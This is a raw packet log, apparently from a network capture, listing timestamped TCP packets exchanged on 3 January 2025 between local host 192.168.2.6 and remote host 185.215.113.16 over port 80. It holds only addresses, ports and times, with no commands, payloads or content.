Jan 3, 2025 15:21:31.052032948 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.052756071 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.052768946 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.052779913 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.052809954 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.053050995 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.053064108 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.053076982 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.053100109 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.053114891 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.053127050 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.053141117 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.053152084 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.053164005 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.053174973 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.053200960 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.053221941 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.053221941 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.053246975 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.053978920 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.053989887 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.054001093 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.054033041 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.054083109 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.054095984 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.054106951 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.054117918 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.054128885 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.054130077 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.054141045 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.054156065 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.054179907 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.054980993 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.054992914 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.055005074 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.055015087 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.055042982 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.055047989 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.055054903 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.055056095 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.055068016 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.055078030 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.055089951 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.055107117 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.055130005 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.055808067 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.055819988 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.055831909 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.055861950 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.055867910 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.055880070 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.055891991 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.055902958 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.055915117 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.055922031 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.055927038 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.055946112 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.055965900 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.056685925 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.056760073 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.056811094 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.056822062 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.056833982 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.056844950 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.056857109 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.056859970 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.056868076 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.056880951 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.056880951 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.056891918 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.056926966 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.056948900 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.057701111 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.057713985 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.057725906 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.057738066 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.057749987 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.057761908 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.057770014 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.057770014 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.057775021 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.057831049 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.058290005 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.058303118 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.058334112 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.058342934 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.058347940 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.058361053 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.058372021 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.058386087 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.058397055 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.058404922 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.058409929 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.058423042 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.058425903 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.058434010 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.058463097 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.059197903 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.059212923 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.059237957 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.059256077 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.059264898 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.059278011 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.059289932 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.059300900 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.059304953 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.059320927 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.059324026 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.059335947 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.059346914 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.059349060 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.059386015 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.060235023 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.060247898 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.060260057 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.060271025 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.060282946 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.060295105 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.060308933 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.060319901 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.060332060 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.060343981 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.060353041 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.060353041 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.060353041 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.060368061 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.060386896 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.061058044 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.061083078 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.061101913 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.061113119 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.061125040 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.061127901 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.061136961 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.061150074 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.061151981 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.061161995 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.061178923 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.061181068 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.061192989 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.061206102 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.061218023 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.061218023 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.061259031 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.061948061 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.061991930 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.062005997 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.062031031 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.062041044 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.062052965 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.062056065 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.062062979 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.062063932 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.062131882 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.062143087 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.062155962 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.062165976 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.062166929 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.062187910 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.062208891 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.062922955 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.062935114 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.062946081 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.063036919 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.063036919 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.063040972 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.063052893 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.063064098 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.063076019 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.063086987 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.063097954 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.063097954 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.063117981 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.063118935 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.063131094 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.063142061 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.063184023 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.063886881 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.063915014 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.063925982 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.063936949 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.063947916 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.063960075 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.063961029 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.063971996 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.063983917 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.063996077 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.064012051 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.064019918 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.064019918 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.064027071 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.064044952 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.064095974 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.064929962 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.064944983 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.064958096 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.064968109 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.064980030 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.064990997 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.065002918 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.065011024 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.065011024 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.065012932 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.065025091 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.065037966 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.065043926 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.065051079 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.065073967 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.065073967 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.065828085 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.065840006 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.065850973 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.065861940 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.065872908 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.065881968 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.065884113 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.065896988 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.065902948 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.065915108 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.065932989 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.065932989 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.065936089 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.065948009 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.065973997 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.066628933 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.066642046 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.066653013 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.066663980 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.066667080 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.066674948 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.066685915 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.066698074 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.066706896 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.066709995 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.066725969 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.066791058 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.067158937 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.067200899 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.067225933 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.067236900 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.067249060 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.067260027 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.067270994 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.067280054 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.067306042 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.067311049 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.067328930 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.067339897 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.067352057 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.067363977 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.067372084 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.067374945 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.067414045 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.067414045 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.068208933 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.068219900 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.068233013 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.068244934 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.068253994 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.068274021 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.068291903 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.068300009 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.068304062 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.068314075 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.068325996 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.068336010 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.068341970 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.068341970 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.068353891 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.068362951 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.068362951 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.068396091 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.069303036 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.069314957 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.069327116 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.069338083 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.069349051 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.069360018 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.069365978 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.069377899 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.069389105 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.069390059 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.069390059 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.069401026 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.069413900 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.069426060 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.069433928 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.069457054 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.069457054 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.070070028 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.070080996 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.070094109 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.070106030 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.070131063 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.070132017 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.070148945 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.070152998 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.070162058 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.070173025 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.070174932 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.070187092 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.070198059 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.070204020 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.070210934 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.070221901 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.070245981 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.070267916 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.070967913 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.070980072 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.070997953 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.071008921 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.071046114 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.071065903 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.071168900 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.071206093 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.071232080 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.071324110 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.071338892 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.071350098 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.071377993 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.071391106 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.071391106 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.071398973 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.071402073 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.071423054 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.071434021 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.071434975 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.071445942 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.071458101 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.071469069 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.071469069 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.071502924 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.071562052 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.072192907 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.072206974 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.072235107 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.072246075 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.072254896 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.072263956 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.072294950 CET	80	49829	185.215.113.16	192.168.2.6
